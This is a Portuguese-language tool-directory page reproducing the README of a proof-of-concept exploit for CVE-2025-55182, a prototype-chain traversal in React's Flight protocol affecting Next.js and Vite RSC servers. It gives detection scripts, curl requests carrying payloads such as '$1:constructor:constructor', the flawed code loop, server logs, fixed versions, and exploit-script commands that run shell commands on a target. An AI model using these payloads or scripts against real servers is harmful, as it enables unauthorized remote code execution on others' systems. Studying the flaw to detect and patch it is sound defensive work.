Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182-poc — Detecção e exploração reais do CVE-2025-55182. LLMs sem enrolação. | Kitploit
Ferramentas/GitHubGitHub/acheong08/cve-2025-55182-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubacheong08/cve-2025-55182-poc

CVE-2025-55182-poc

Detecção e exploração reais do CVE-2025-55182. LLMs sem enrolação.

Ver Repositório
1011há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182

Vulnerabilidade no protocolo React Flight que permite travessia da cadeia de protótipos por meio de referências a chunks. Testado contra bullshit-react-project.

Detecção

Isto está um pouco desatualizado, pois o PoC real já foi revelado.

Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com

Ou, para fazer ambos, basta executar bash ./detect.sh https://example.com

Ambos os scripts aceitam um parâmetro de tempo limite opcional (padrão de 3s para Vite, 5s para Next.js).

Como funciona a detecção no Vite

Envia o cabeçalho x-rsc-action com o payload $1:toString. Servidores vulneráveis ficam pendurados indefinidamente; servidores corrigidos respondem normalmente. Primeiro verifica o endpoint RSC (espera HTTP 500 em ação inválida).

Como funciona a detecção no Next.js

Descobre os IDs de server action a partir da resposta da página (padrão $ACTION_ID_<hash>), e depois envia:

root@kitploit:~
curl -X POST "http://localhost:3000" \
  -H "Next-Action: <action_id>" \
  -H "Accept: text/x-component" \
  -F '0=["$1:a:a"]' \
  -F '1={}'

Servidores vulneráveis ficam pendurados; servidores corrigidos respondem rapidamente.

Correção

Next.js: Atualize para 16.0.7, 15.5.7 ou 15.4.8
React (Vite RSC): Atualize para 19.0.1+, 19.1.2+ ou 19.2.1+

Detalhes da vulnerabilidade

O protocolo Flight do React permite travessia da cadeia de protótipos por meio de referências a chunks. A função getOutlinedModel itera pelos caminhos de referência sem verificações de hasOwnProperty:

root@kitploit:~
for (key = 1; key < reference.length; key++)
  parentObject = parentObject[reference[key]];

Isso permite que $1:constructor:constructor atravesse {}.constructor.constructor → Function.

Teste manual (Vite RSC)

Endpoint: Qualquer caminho com o cabeçalho x-rsc-action
ID da ação: 710363d987f5#loginUser (ou qualquer server action válida)

PoC: Invocar o construtor de Function

root@kitploit:~
curl -X POST "http://localhost:4173/xyz" \
  -H "x-rsc-action: 710363d987f5#loginUser" \
  -F '0={"then":"$1:constructor:constructor"}' \
  -F '1={"a":"b"}'

Vulnerável: Internal Server Error
Corrigido: Resposta normal

Observe que você receberá um erro 500 em um servidor corrigido se os seus IDs de x-rsc-action estiverem errados. É só que os logs do servidor serão diferentes.

Logs do servidor (vulnerável, sempre)

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>)

O construtor de Function foi invocado via .then() quando o objeto foi aguardado com await. O V8 passa funções resolve/reject como argumentos, que, ao serem convertidas em string, resultam em function () { [native code] } - daí o erro de sintaxe.

Logs do servidor (corrigido, x-rsc-action inválido)

root@kitploit:~
Error: server reference not found '310363d987f5'
    at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
    at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
    at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
    at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
    at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)

Nenhum log de servidor aparece com um x-rsc-action válido. Você pode encontrar o x-rsc-action correto executando uma server action real e capturando a requisição nas ferramentas de desenvolvimento.

Notas

O payload $1:toString deixa servidores vulneráveis pendurados indefinidamente - é isso que os scripts de detecção usam. Já tentei quase de tudo, mas não consigo obter RCE.

Exploração

Para Vite Rsc:

root@kitploit:~
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'

Para NextJS:

root@kitploit:~
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'

Créditos para maple3142 -> https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

Apenas fiz um wrapper e adaptei para o Vite, que é ESM puro e, portanto, não tem require.

Baixar ferramenta